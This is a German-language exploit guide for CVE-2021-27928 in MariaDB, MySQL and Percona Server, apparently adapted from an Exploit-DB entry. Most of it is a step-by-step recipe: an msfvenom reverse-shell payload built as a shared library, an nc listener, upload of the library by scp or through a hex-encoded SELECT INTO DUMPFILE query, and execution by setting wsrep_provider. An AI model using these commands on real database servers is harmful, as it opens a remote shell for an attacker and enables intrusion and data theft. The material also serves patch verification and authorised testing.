CVE-2021-27928

Informationen

Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
Date: 03/18/2021
Exploit Author: Central InfoSec
Version: 
	MariaDB 10.2 before 10.2.37
	10.3 before 10.3.28
	10.4 before 10.4.18 
	10.5 before 10.5.9
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
Tested on: Linux
CVE : CVE-2021-27928

Exploit-Anleitung

Schritt 1: Erstellen Sie das Reverse-Shell-Payload

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

Schritt 2: Starten Sie einen Listener

nc -lnvp <port>

Schritt 3: Kopieren Sie das Payload auf das Zielsystem

Per SCP

scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so

Per Dumpfile

python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())'
mysql -u <user> -p -h <ip>
SELECT UNHEX('PYTHON_OUTPUT') into dumpfile '/tmp/CVE-2021-27928.so';

Schritt 4: Führen Sie das Payload aus

mysql -u <user> -p -h <ip>
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";

Referenzen

https://www.exploit-db.com/exploits/49765

https://jira.mariadb.org/browse/MDEV-25179

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27928